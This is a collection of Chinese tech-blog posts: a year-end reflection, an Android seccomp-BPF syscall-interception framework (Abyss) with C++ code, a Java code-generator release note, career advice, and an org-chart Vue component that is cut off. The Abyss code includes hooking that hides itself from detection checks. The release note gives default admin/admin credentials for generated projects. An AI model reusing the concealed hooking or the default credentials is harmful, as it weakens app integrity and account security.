进了这家公司之后,接触过的产品都是AI产品,我们老总有一句话说:如果我们不赶上AI这条浪潮,我们很有可能成为下一个被时代淘汰的诺基亚。这句话,我一直铭记在心。更有趣的是,它带给我一个深刻的启示:作为程序员,AI或许无法完全取代我们,但会AI的程序员,最终会逐渐把不会AI的程序员淘汰掉。换句话说,在面对AI浪潮时,如果我们抵触或忽视它所带来的效率提升,最终我们会被其他人甩在身后。我们公司也在全面推进使用AI来提效,今年的公司slogan都改为了 "AI FIRST",我相信,公司的路是正确的。

机会,往往是留给那些有准备的人。回想起2022年,当ChatGPT风靡一时时,我曾尝试接入OpenAI的API,为自己的项目赋能。那时的激情与期待,让我几乎看到了属于自己的未来。然而,由于OpenAI对国外IP的大规模封堵,我的服务器也因此被封禁,无法正常使用,最终只能放弃。如今回头看,很多国内的套壳网站取得了成功,许多同行也通过这样的路径实现了财富自由。若当时我能找到合适的解决办法,或许我的项目也能在这条赛道上有所斩获。但人生没有“如果”,只有“现在”。机会来临时,抓住它才是最重要的。

2024年,我也深入研究并学习了AI相关的知识。为此,我写下了许多关于AI的文章,这些文章记录了我的学习过程,也许其中有些内容能为你带来启发。为了方便大家查看,我将它们整理成了一篇专栏。如果你对AI感兴趣,或许可以从中找到一些有价值的内容:

重生之我要学AIGC

今年真的是非常精彩的一年,换了工作、换了城市,学会了画画,去旅行,工作中不断学习,写博客,弹吉他,去跑步,去拍照,参加线下活动,结识了许多新朋友。做了AI开发,进了一家有趣的公司,认识了志同道合的同事。还有,又成长了,离成功又进了一步不是吗?!

好了,2024年就过完了,这里有个美好的新年祝愿:祝大家人生路上遇良人,要爱自己,新的一年要努力赚钱,祝大家爱情事业双丰收!当然!最重要的还是身体健康!!最后,附上一张我拍摄的月亮图,愿大家像这轮明月一样,人生圆满,光辉灿烂。

2123b65427e66da93c388568d8032bb

感谢大家的观看,我是掉头发的王富贵,一个热爱分享的普通程序员,期待在未来的日子里与大家一起成长!

by 掉头发的王富贵 at January 23, 2025 05:38 AM

juejin android

【Abyss】Android平台BPF和SECCOMP的SVC指令拦截

Android平台从上到下,无需ROOT/解锁/刷机,应用级拦截框架的最后一环 —— SVC系统调用拦截。

☞ Github: https://www.github.com/iofomo/abyss ☜ 

400.png

由于我们虚拟化产品的需求,需要支持在普通的Android手机运行。我们需要搭建覆盖应用从上到下各层的应用级拦截框架,而Abyss作为系统SVC指令的调用拦截,是我们最底层的终极方案。

源码位置:github.com/iofomo/abys…

01. 说明

Seccomp(Secure Computing Mode):

SeccompLinux 内核的一个安全特性,用于限制进程可以执行的系统调用。它通过过滤系统调用,防止恶意程序执行危险操作。Seccomp 通常与 BPF 结合使用,以实现更灵活的过滤规则。

BPF(Berkeley Packet Filter):

BPF 是一种内核技术,最初用于网络数据包过滤,但后来被扩展用于更广泛的用途,包括系统调用过滤。BPF 程序可以在内核中运行,用于检查和过滤系统调用。

02. 主要流程

首先,配置 BPF 规则,如下我们配置了目标系统调用号的拦截规则,不在这个名单内的就放过,这样可以实现仅拦截我们关心的系统调用(即函数),提升拦截效率和稳定性。

static void doInitSyscallNumberFilter(struct sock_filter* filter, unsigned short& i) {  
// Load syscall number into accumulator  
filter[i++] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr)));  
// config target syscall  
// add more syscall here ...  
// filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 5, 0);  
// filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getcwd, 4, 0);  
// filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_chdir, 3, 0);  
// filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 2, 0);  
filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 1, 0);  
  
filter[i++] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW);  
}  

然后,我们需要过滤掉一些系统库和自身库,防止写入死循环。

  • 自身实现库的过滤【必须】
  • vdso 的过滤【必须】
  • linker 的过滤【可选,提效】
  • libc 的过滤【可选,提效】

通过解析进程 maps 中对应库地址区间,配置跳过此区间的系统调用规则。

static void doInitSyscallLibFilterByAddr(struct sock_filter* filter, unsigned short& i, const uintptr_t& start, const uintptr_t& end) {  
// Load syscall lib into accumulator  
#if defined(__arm__)  
filter[i++] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, instruction_pointer));  
filter[i++] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, start, 0, 2);  
filter[i++] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, end, 1, 0);  
filter[i++] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW);  
#else // __aarch64__  
filter[i++] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, instruction_pointer) + 4));  
filter[i++] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, (uint32_t)(start >> 32), 0, 4);  
filter[i++] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, instruction_pointer)));  
filter[i++] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, (uint32_t)start, 0, 2);  
filter[i++] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, (uint32_t)end, 1, 0);  
filter[i++] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW);  
#endif  
}  

其次,应用以上配置。

struct sigaction act = { 0 };  
act.sa_flags = SA_SIGINFO | SA_NODEFER;  
act.sa_sigaction = handleSignalAction;  
struct sigaction old_sa = {};  
  
ret = sigaction(SIGSYS, &act, &old_sa);  
if (0 != ret) {  
LOGSVCE("sigaction: %d, %d, %s", ret, errno, strerror(errno))  
::free(filter);  
__ASSERT(0)  
return -11;  
}  
  
// Unmask SIGSYS  
sigset_t mask;  
if (sigemptyset(&mask) || sigaddset(&mask, SIGSYS) ||  
sigprocmask(SIG_UNBLOCK, &mask, nullptr)  
) {  
LOGSVCE("sigprocmask: %d, %d, %s", ret, errno, strerror(errno))  
::free(filter);  
__ASSERT(0)  
return -12;  
}  
  
struct sock_fprog prog = {  
.len = filterCount,  
.filter = filter,  
};  
  
// set to self process  
ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);  
if (0 != ret) {  
LOGSVCE("PR_SET_NO_NEW_PRIVS: %d, %d, %s", ret, errno, strerror(errno))  
::free(filter);  
__ASSERT(0)  
return -13;  
}  
  
// set seccomp to kernel  
ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);  
if (0 != ret) {  
LOGSVCE("PR_SET_SECCOMP: %d, %d, %s", ret, errno, strerror(errno))  
::free(filter);  
__ASSERT(0)  
return -14;  
}  

最后,实现拦截后的处理。

static void handleSignalAction(int signo, siginfo_t* info, void* context) {  
if (!info || !context || signo != SIGSYS || info->si_code != SYS_SECCOMP) {  
LOGSVCW("signal: signo=%d, code=%d, errno=%d, call_addr=%p, arch=0x%x, syscall=0x%x,%s",  
info->si_signo, info->si_code, info->si_errno, info->si_call_addr, info->si_arch,  
info->si_syscall, SvcerDumper::index2name(info->si_syscall)  
)  
return;  
}  
  
ucontext_t *uc = reinterpret_cast<ucontext_t *>(context);  
  
intptr_t rc = SvcerSyscall::Call(SECCOMP_SYSCALL(uc),  
SECCOMP_PARM1(uc),  
SECCOMP_PARM2(uc),  
SECCOMP_PARM3(uc),  
SECCOMP_PARM4(uc),  
SECCOMP_PARM5(uc),  
SECCOMP_PARM6(uc)  
);  
SvcerSyscall::PutValueInUcontext(rc, uc);  
}  

03. 封装

为了使用方便,封装了一些基础系统调用的日志打印接口。

1)添加要拦截的系统调用号。(日常日志打印)

SvcerDumper::addDump(SVCER_SYSCALL_execve);  
SvcerDumper::addDump(SVCER_SYSCALL_execveat);  
SvcerDumper::addDump(SVCER_SYSCALL_open);  
SvcerDumper::addDump(SVCER_SYSCALL_openat);  
SvcerDumper::addAll();  
  
SvcerHooker::init(ESvcerHookerMode_IgnoreAll, "libifmamts.so");  

2)注册要拦截的系统调用回调。

// 这里注册  
for (int i=SVCER_SYSCALL_None; i<SVCER_SYSCALL_Max; ++i) {  
SvcerHooker::registerCallback((TSVCER_SYSCALL_Type)i, handleSvcerHookerCallback);  
}  
  
// 这里实现  
  
static void handleKonkerSvcerHookerCallback(int sn, SvcerHookerArgument* arg/*Not NULL*/) {  
switch (sn) {  
case __NR_statfs:// int statfs(const char* path, struct statfs* result);  
case __NR_truncate:// typedef int truncate(const char *filename, off_t len);  
case __NR_chdir:// int chdir(const char *path);  
{  
const char* pathname = (const char*)arg->getArgument1();  
char memString[512];  
if (memString == KonkerFixer::fixDataPath(pathname, memString)) {  
LOGSVCI("fixer, %s: %s", SvcerDumper::index2name(sn), __PRINTSTR(pathname))  
arg->setArgument1((intptr_t)memString);  
}  
arg->doSyscall();  
return;  
}  
default:  
LOGSVCI("ignore, %s", SvcerDumper::index2name(sn))  
break;  
}  
arg->doSyscall();  
}  

3)初始化

// 设置要过滤的库和当前自身库名称  
SvcerHooker::init(ESvcerHookerMode_IgnoreVdso|ESvcerHookerMode_IgnoreLibc|ESvcerHookerMode_IgnoreLinker, "libdemo.so");  

04. 附

额外模块:

本框架实现了最基本的检测仿真,如通过 __NR_rt_sigaction__NR_prctl 获取配置时,会对返回值进行还原。

参考项目:

github.com/proot-me/pr…

github.com/termux/proo…

by iofomo at January 23, 2025 05:33 AM

hackernews

oschina news project

Java 通用代码生成器光,电音之王尝鲜版十一,支持 JPA 技术栈

Java通用代码生成器光,电音之王尝鲜版十一,支持JPA技术栈

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十一。支持新的JPA技术栈,此技术栈支持springboot3.4.0,JPA,POI 5.3.0,Shiro 1.13.0等一系列新版本,同时仍然兼容原先的boot3,sbmeu,smeu,msmeu四个技术栈。元数据和数据编辑器有更多修正和增强。本版本有更多缺陷修复,更多测试。已接近Beta质量。请部署在Tomcat9的webapps目录下。可以从源码建构。
在国内,最流行的Java ORM框架是MyBatis,因为MyBatis的轻便和直接可以使用SQL等原因,而国际上,最流行的Java ORM是JPA,主要是此框架功能强大,而且和Hibernate有亲缘关系。现在,Java通用代码生成器光已经同时支持这两大框架。欢迎大家使用。
电音之王尝鲜版十一已发布第一个介绍视频,详细演示了使用JPA技术栈生成和运行一个完整示例前后端的过程,视频请见:
https://www.bilibili.com/video/BV1qEfhYMEQf/
Java 通用代码生成器光,电音之王尝鲜版十一将强大的生产力赋能广大程序员。无论是新开发的软件还是通过遗留数据库反射以再次开发的遗留项目,您都可以使用动词算子式通用代码生成器的强大生产力大大加速研发速度。
项目地址:https://gitee.com/jerryshensjf/LightSBMEU
二进制发布版地址:https://gitee.com/jerryshensjf/LightSBMEU/attach_files

Java通用代码生成器光

动词算子式通用代码生成器阵列全面开源

动词算子式通用代码生成器阵列已全面开源。Java通用代码生成器光的两个Jar软件依赖如下,皆已全部开源:

曲速引擎前端代码生成器:https://gitee.com/jerryshensjf/WarpEngine

表反射引擎ReflectTable: https://gitee.com/jerryshensjf/ReflectTable

新技术栈

电音之王尝鲜版十一。支持新的技术栈jpa,此技术栈支持springboot3.4.0,POI 5.3.0,Shiro 1.13.0, JPA等一系列组件的新版本。

电音之王尝鲜版十。支持新的技术栈boot3,此技术栈支持springboot3.4.0,POI 5.3.0,Shiro 1.13.0, Mybatis 3.0.3等一系列新版本。

新版本发布

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十一。支持新的JPA技术栈,此技术栈支持springboot3.4.0,JPA,POI 5.3.0,Shiro 1.13.0等一系列新版本,同时仍然兼容原先的boot3,sbmeu,smeu,msmeu四个技术栈。元数据和数据编辑器有更多修正和增强。本版本有更多缺陷修复,更多测试。已接近Beta质量。可以从源码建构。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十。支持新的技术栈boot3,此技术栈支持springboot3.4.0,POI 5.3.0,Shiro 1.13.0, Mybatis 3.0.3等一系列新版本,同时仍然兼容原先的sbmeu,smeu,msmeu三个技术栈。更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版九。界面美化,完善了数据库自动反射功能,完善了前端代码生成,完善了枚举和哑数据模式。更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版八。完善支持数据库自动反射功能和多对多候选功能。完善了元数据和数据编辑器。在尝鲜版七基础上有多处缺陷修正和功能增强。 补充了一些缺失的功能。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版七。支持数据库自动反射功能和多对多候选功能。完善了元数据和数据编辑器。在尝鲜版六基础上有多处缺陷修正和功能增强。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版六。支持枚举和哑数据模式。支持Nodejs 21,18和14。消除了95%的前端EsLint编译警告并隐藏全部。在尝鲜版五基础上有多处缺陷修正和功能增强。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版五,已发布。 此版本在尝鲜版四基础上有错误修正。

电音之王支持日期与日期时间,支持修改自己的资料和密码。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版四,在尝鲜版三基础上有错误修正。

电音之王支持三大部分生成功能群,即高级定制功能群,部分生成功能群,和自动生成差异版本功能群,即支持上传同一项目的两个模板,自动生成差异版本,支持多次,全程使用代码生成器。可以从源码建构。支持Go语言和Rust语言兼容性。

电音之王也支持三大变形功能群,即动态椰子树功能群,动词否定功能群和字段否定功能群。非常强大,非常方便。

电音之王支持四种数据导出格式,即Excel,PDF,PPT和Word。

电音之王支持三种复杂版面,即父子表,树表和树父子表。

电音之王支持三种图形报表。并支持三种图表类型:折线图,柱状图和饼图。

版本与简介

本代码生成器最新版是Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十一。支持新的JPA技术栈,此技术栈支持springboot3.4.0,JPA,POI 5.3.0,Shiro 1.13.0等一系列新版本,同时仍然兼容原先的boot3,sbmeu,smeu,msmeu四个技术栈。元数据和数据编辑器有更多修正和增强。本版本有更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版十。支持新的技术栈boot3,此技术栈支持springboot3.4.0,POI 5.3.0,Shiro 1.13.0, Mybatis 3.0.3等一系列新版本,同时仍然兼容原先的sbmeu,smeu,msmeu三个技术栈。更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版九。界面美化,完善了数据库自动反射功能,完善了前端代码生成,完善了枚举和哑数据模式。更多缺陷修复,更多测试。已接近Beta质量。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版八。完善支持数据库自动反射功能和多对多候选功能。完善了元数据和数据编辑器。在尝鲜版七基础上有多处缺陷修正和功能增强。 补充了一些缺失的功能。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版七。支持数据库自动反射功能和多对多候选功能。完善了元数据和数据编辑器。在尝鲜版六基础上有多处缺陷修正和功能增强。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版六。支持枚举和哑数据模式。支持Nodejs 21,18和14。消除了95%的前端EsLint编译警告并隐藏全部。在尝鲜版五基础上有多处缺陷修正和功能增强。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版五,在尝鲜版四基础上有错误修正。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版四,在尝鲜版三基础上有错误修正。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版三。在尝鲜版二基础上有增强和修正。

Java通用代码生成器光2.4.0电音之王TechnoKing版本尝鲜版二,在尝鲜版基础上有错误修正。

Java通用代码生成器光2.3.0文明版本Beta11版。可以从源码建构。是光2.3.0文明版本的最后一个版本。

Java通用代码生成器光2.3.0文明版本Beta10版。可以从源码建构。支持Go语言和Rust语言兼容性。重新格式化了所有的SGS2模板。

Beta8版修复了没有登录模块的项目的代码生成的缺陷。所有示例皆可以顺利生成代码生成物。

Beta7版彻底排查修复了前端权限系统,并更新了文档,已接近候选(RC)版质量。

Beta6版彻底检查和增强了弹性登录模块,并检查修复了Oracle代码生成物。

Beta5版全面增强了模版向导功能的界面操作,并全面检查修复了English语言版本。

Beta4是个修复与增强版本,修复了前端登录权限系统和复杂版面功能。

Beta版有文档更新,并支持可以设置的SQL脚本的表名和字段名的中文注释。

尝鲜版19在尝鲜版18基础上有功能改进。

尝鲜版18完善了前端复杂版面功能,至此,文明版本所有规划功能均已实现。

尝鲜版17修复了一些运行时错误。

尝鲜版15支持图形报表,使用了Echarts图形库。支持折线图,柱状图和饼图三种图形报表,支持原始数据和累加数据两种数据格式。

尝鲜版14是一个缺陷修复版本,修复了尝鲜版8以来的所有跨域和功能缺陷。

尝鲜版8版本最大特色是一键生成前端和后端,共享一套登录权限系统,session,token等信息不需要人工设置,默认生成,前端是基于Vue的,您可以使用此独立Vue前端管理系统。等前端项目生成完成复杂版面和报表功能后,即可进入Beta阶段。

尝鲜版6的Excel模板向导界面全面支持新功能。等前端界面完全支持新功能后即可进入Beta阶段。

光2.3.0文明尝鲜版5添加了PPT数据导出功能。

文明版本新增ShiroAuth弹性登录模块,使用Apache Shiro权限框架。新增三种复杂版面。包括父子表,树表和树父子表。新增三种报表。使用Echarts报表框架。包括报表,带数据网格的报表和计划与执行对比报表,带双数据网格。显著增强编译错与编译警告功能,增强更准确的错误信息和域对象簿记检查功能。请在本站附件处下载二进制发行版。

其中ShiroAuth模块。使用Apache Shiro权限框架。本弹性登录模块具有强大的变形能力。您可以指定User,Role,Privilege的具体对象。系统会严格校验,并生成相应的Shiro登录模块。完全无需人工编程。注意,Privilege对象的数据由系统生成,您无需配置。Role会自动增加admin和user两个Role。admin和user都自动关联所有权限。但是admin可以访问User,Role,Privilege三个对象,而user不行。系统会在User表中新增admin和jerry两个用户。其中amdin的角色是admin。jerry的角色是user。用户的密码您可以以明文设置。系统自动把密码转化为密文。若您未设置。amdin的密码为admin。而jerry的密码为jerry。

项目图片

Image description

新的大版本号

新的大版本号是光3.0.0 特菲提之心Tefiti's heart短名TFTH。将在数月中启动开发。

输入图片说明

现在大版本号是光2.4.0 电音之王TechnoKing 短名TK

输入图片说明

百度话题

#通用代码生成器#

介绍视频

电音之王尝鲜版十一,介绍视频请见

https://www.bilibili.com/video/BV1qEfhYMEQf/

电音之王尝鲜版十,介绍视频请见

https://www.bilibili.com/video/BV1MRqDYfEZV/

电音之王尝鲜版九,介绍视频请见

https://www.bilibili.com/video/BV1T6zrYNEMD/

https://www.bilibili.com/video/BV1gUBRYVEKu/

电音之王尝鲜版八,介绍视频请见

https://www.bilibili.com/video/BV1Q1WjeSEwW/

电音之王尝鲜版七,介绍视频请见

https://www.bilibili.com/video/BV1MLeTe1EmN/

电音之王尝鲜版六,介绍视频请见

https://www.bilibili.com/video/BV1Cf421Z7PF/

https://www.bilibili.com/video/BV1yD421j7UP/

2.4.0 电音之王尝鲜版五,介绍视频请见

https://www.bilibili.com/video/BV1Wh4y1r7Pa/

2.4.0 电音之王尝鲜版四,介绍视频请见

https://www.bilibili.com/video/BV1sx4y1X7XM/

2.4.0 电音之王尝鲜版三,介绍视频请见

https://www.bilibili.com/video/BV1394y1q744/

2.4.0 电音之王尝鲜版二,支持日期和日期时间,支持修改自己的资料和密码,支持三大部分生成功能群,支持上传同一项目两个版本的Excel模板生成差异版本,视频请见:

https://www.bilibili.com/video/BV1W8411Z7MK/

2.3.0 文明Beta10版,从源码构建,视频请见:

https://www.bilibili.com/video/BV1AY4y197dB/

三大变形功能群,即动态椰子树功能群,动词否定功能群和字段否定功能群,是动词算子式代码生成器的强大功能,使它可以适配多种代码规范和各种场景。现在 Java 通用代码生成器光 2.3.0 文明 Beta8 版,发布了三大变形功能群介绍视频上下集。请见:

上集:https://www.bilibili.com/video/BV1pg411n7Mg/

下集:https://www.bilibili.com/video/BV18D4y1879F/

Beta7版 B站介绍视频

https://www.bilibili.com/video/BV1gD4y147oK/

Beta6版 B站介绍视频

https://www.bilibili.com/video/BV1he4y1a7VT/

Beta4版 B站介绍视频

https://www.bilibili.com/video/BV1Jm4y1A7nW/

Beta2版 B站介绍视频

https://www.bilibili.com/video/BV1H44y1u75P/

Beta版 B站介绍视频

https://www.bilibili.com/video/BV1z34y1Y77Q/

B站技术直播间

https://live.bilibili.com/23023356

二进制发行版下载

https://gitee.com/jerryshensjf/LightSBMEU/attach_files

截图

生成界面截图

模板向导生成界面 

输入图片说明

上传生成界面 

输入图片说明

自动生成差异版本生成界面 输入图片说明

新功能截图:

前端复杂版面:树表

输入图片说明

图形报表:

柱状图:

输入图片说明

折线图:

输入图片说明

PPT数据导出功能 

输入图片说明

登录 

Image description

错误 

Image description

登录后 

Image description

新功能Excel模板页签 

Image description

新功能,复杂版面,树表

Image description

新功能,报表

Image description

独立前端页面截图

登录页

输入图片说明

内页

输入图片说明

源码编译用户指南

通用代码生成器已经支持自己编译源码,我已把原来缺的前端代码生成器的jar包上传。支持大家自行编译源码。

需要注意的是,现在我的开发平台是Fedora 37上的openjdk 17。所以大家编译源码最好使用openjdk17。编译好的war包运行在apache tomcat 9.0上。

已有jdk8的用户报告默认下载的代码生成器war包在他的平台上无法运行。您如果遇到类似问题请报告。我的电子邮件是:jerry_shen_sjf@qq.com

附openjdk 17下载地址:

https://jdk.java.net/java-se-ri/17

架构变化

从光2.3.0 文明尝鲜版2开始,光使用Maven管理jar依赖,方便您从源码构建代码生成器。同时开始支持Tomcat9。

使用前端功能的注意事项

由于图片文件比较大,原来前端使用cnpm instll安装类型,npm run dev运行有所改动,改为先使用npm install --registry=https://registry.npm.taobao.org安装类库,出错后使用cnpm install安装类库, 使用node --max-http-header-size=1000000 ./node_modules/.bin/webpack-dev-server --inline --progress --config build/webpack.dev.conf.js  运行系统。

您也可以从安传好的本系列代码生成器的前端项目中拷贝node_modules目录,即可运行前端。

动词算子式代码生成器的应用场景

  1. 快速原型:项目或演示场景使用。可以生成具有关系型数据库后端,使用MyBatis的数据库后端和Vue和ElementUI前端。
  2. 项目前期:如果项目和动词算子式代码生成器兼容,可以使用动词算子式代码生成器执行项目前期的自动化生成。

源码研读者注意事项

无垠式代码生成器第一个完整版本源码,有兴趣可以抄写一下:

相关技术视频:

by 来源: 投稿 at January 23, 2025 05:01 AM

juejin career

当了leader才发现,大厂最想裁掉的,不是上班总迟到的,也不是下班搞失联的,而是经常把这3句话挂在嘴边的!

大家好,我是程序员小灰。

最近网上流行着一个话题:“当了leader才发现,大厂最想裁掉的,不是上班总迟到的,也不是下班搞失联的,而是经常把这3句话挂在嘴边的!”

小灰在职场做过将近10年的程序员,见证过职场上的各种风风雨雨,后来我离开职场出来创业,组建了自己的团队,从一个小老板的视角上看问题,对这件事的理解就更加深刻了。

什么样的员工最容易被裁掉呢?

其中有很多因素,包括一个人的工作业绩、团队协作能力、当前薪资、年龄、与领导的个人关系......等等。

还有一个被许多人忽略的点也很重要,那就是一定要“会说话”,尤其在你上司的上司面前。

大领导的注意力是有限的,他不可能天天盯着你的具体工作,在你和他有限的接触时间里,说对一两句话能抵得上你几个月的努力,说错一两句话意味着你几个月都白干了。

这很不公平,但这就是职场的现实。

在职场上,什么样的话不该说呢?大家一定不要总把这三句话挂在嘴边:

1.这个需求实现不了

作为程序员,大家一定都很熟悉这句话,我们在跟产品经理扯皮的时候常常会这样说。

如果是面对跟我们平级的产品经理,这样表达倒也无所谓,但如果面对大领导,虽然这是事实,但我们也必须换一个说法。

比如我们可以这样说:这个需求我们可以满足,但是需要XXX条件,需要XXX资源,我个人觉得这样实现的性价比不是很高。

2.这个事情不归我管

这也是很多职场新人常说的话。如果放在常规情况下,与平级的同事这样说倒也还好,如果系统出现了严重事故,面向大领导问责的时候做出这样的辩解,那就是自寻死路了。

面向大领导,你可以如实说这件事的负责人是谁谁谁,同时我自己这边也有疏忽,我们后续的解决方案是如何如何。

3.我们以前都是这么做的

这句话在职场上也很忌讳。说出这样的话,会显得这位员工做事比较墨守成规,而且没有去深入思考事情的底层逻辑,只知道一味照做。

或许团队以前这么做确实没有错,但是我们需要知其然也知其所以然,搞清楚这么做的深层原因,也能让我们未来更好的成长。

好了,以上就是小灰总结的三句在职场上比较忌讳的话语。

或许表面上的这些话语并不能代表真实的你,但是在与公司领导有限的接触时间里,这些话语决定了领导对你的印象。

2025年,希望看到这篇文章的朋友们都能够在职场更上一层楼,也希望大家能够找到适合自己的副业。

by 程序员小灰 at January 23, 2025 04:40 AM

juejin freebie

国外得组织架构图

image.png

image.png 不常见得组织架构图,用了G6和自己一些写法再里面。此篇为自己得记录篇-----------------------------

let data = [
  {
    "id": 10009070,
    "shortNameEn": "MAINT",
    "shortNameZh": null,
    "shortNameAr": null,
    "nameEn": "Maintenance",
    "nameZh": "Maintenance",
    "nameAr": "Maintenance",
    "sectionCount": 0,
    "localCount": 38,
    "expatCount": 68,
    "mixedCount": 0,
    "headcount": 106,
    "employeeCount": 0,
    "leaderList": null,
    "positionList": [
      {
        "id": 10074621,
        "unicode": "AOSIMTNSPOS111",
        "enterpriseId": 10000504,
        "buId": 10009070,
        "name": "Metering Engineer",
        "shortName": "Metering Engineer",
        "reportTo": 10074531,
        "reportBuId": 10009153,
        "personalType": 0,
        "positionType": 1,
        "workPatternId": 10000042,
        "workPatternName": "14/14",
        "headCount": 2,
        "sort": 1,
        "employeeCount": 1,
        "employeeList": [{
            "id": 10087744,
            "unicode": null,
            "fullName": "HASAN LAZIM MOHSIN",
            "workPatternId": 10000042,
            "workPatternName": "14/14",
          }
        ],
        "children": null
      }
    ],
    "children": [
      {
        "id": 10009109,
        "tenantId": 10000000,
        "appId": 10000000,
        "unicode": "AOSIMAINTSEC003",
        "enterpriseId": 10000504,
        "parentId": 10009070,
        "unitTypeId": 10001520,
        "shortNameEn": "Diesel.",
        "shortNameZh": null,
        "shortNameAr": null,
        "nameEn": "Diesel Workshop",
        "nameZh": "Diesel Workshop",
        "nameAr": "Diesel Workshop",
        "sectionCount": 0,
        "localCount": 0,
        "expatCount": 4,
        "mixedCount": 0,
        "headcount": 4,
        "employeeCount": 0,
        "unitTypeIcon": "section",
        "leaderList": null,
        "positionList": [{
            "id": 10076160,
            "uuid": "a858b0a8b57e47f7adbaeda46e67bbd9",
            "deleted": 0,
            "createTime": "2024-12-30 11:07:25",
            "updateTime": "2024-12-30 11:07:25",
            "createBy": "levi.liang@itforce-tech.com",
            "updateBy": "levi.liang@itforce-tech.com",
            "tenantId": 10000000,
            "appId": 10000000,
            "unicode": "AOSIDIESEL.POS002",
            "enterpriseId": 10000504,
            "buId": 10009109,
            "name": "WPB",
            "shortName": "WPB",
            "reportTo": 10074592,
            "reportBuId": 10009161,
            "personalType": 1,
            "positionType": 0,
            "headCount": 1,
            "sort": 1,
            "employeeCount": 2,
            "employeeList": [{
                "id": 10087898,
                "unicode": null,
                "fullName": "WALEED KAMIL JASIM",
                "workPatternId": 10000042,
                "workPatternName": "14/14",
              },
            ],
            "children": null
          },
        ],
        "children": null
      }
    ]
  }
]

这是组织树需要得数据结构 view-org-chart.vue 父级

<script setup>
import { h } from 'vue';
import { CloseOutlined } from '@ant-design/icons-vue';
import { useLanguage } from '@/hooks/index';
import { GetBusinessUnitTree } from '@/api/organization/index';
const { isCn, isArabic } = useLanguage();
const TreeChart = defineAsyncComponent(() =>
import('./components/TreeChart.vue'),
);
const route = useRoute();
const router = useRouter();
const TreeChartRef = ref(null);
// 使用watch来监听对象
const stringTree = ref([]);
const convertValuesToString = (tree) => {
return tree.map((node) => {
const convertedNode = { ...node };
if (convertedNode.children) {
convertedNode.children = convertValuesToString(convertedNode.children);
}
convertedNode.id = String(convertedNode.id);
convertedNode.nameZh =
isCn && convertedNode.nameZh
? convertedNode.nameZh
: convertedNode.nameEn;
convertedNode.nameAr =
isArabic && convertedNode.nameAr
? convertedNode.nameAr
: convertedNode.nameEn;
return convertedNode;
});
};

// 我给了每个层级加了标识好区分
const addLevels = (nodes, level2 = 0) => {
return nodes.map((node) => {
node.level2 = level2; // 添加层级标记
if (node.children && node.children.length > 0) {
node.children = addLevels(node.children, level2 + 1);
}
return node;
});
};
// 这个是树形访问接口,可以替换
const getSelectTree = async () => {
await GetBusinessUnitTree({
id: route.query.buId,
}).then((res) => {
stringTree.value = addLevels(convertValuesToString(res.data));
});
};
onMounted(() => {
getSelectTree();
});

const loading = ref(false);
const loading2 = ref(false);
// 下载svg 图片
const handleDownIamges = debounce(() => {
loading.value = true;
TreeChartRef.value.downImage();
loading.value = false;
}, 1000);
// 下载PDF
const handleDownPdf = debounce(() => {
loading2.value = true;
TreeChartRef.value.downPdf();
loading2.value = false;
}, 1000);
const onClose = () => {
router.back();
};
</script>
<template>
<div style="background-color: #fff; border-radius: 6px">
<a-row style="padding: 16px 16px 0 16px">
<a-col :span="24" style="display: flex; justify-content: flex-end">
<a-button
style="margin-right: 8px"
:loading="loading"
@click="handleDownIamges"
>
<i class="fa fa-download" />
<span style="margin-left: 4px; margin-right: 4px">SVG</span>
</a-button>
<a-button
style="margin-right: 8px"
:loading="loading2"
@click="handleDownPdf"
>
<i class="fa fa-download" />
<span style="margin-left: 4px; margin-right: 4px">PDF</span>
</a-button>
<a-button :icon="h(CloseOutlined)" @click="onClose"></a-button>
</a-col>
</a-row>

<TreeChart
v-if="stringTree.length > 0"
ref="TreeChartRef"
:tree-data="stringTree"
/>
</div>
</template>

TreeChart.vue 子级 渲染图

<script setup>
import G6 from '@antv/g6';
import { useLanguage } from '@/hooks/index';
import jsPDF from 'jspdf';
import { Session } from '@/utils/storage';
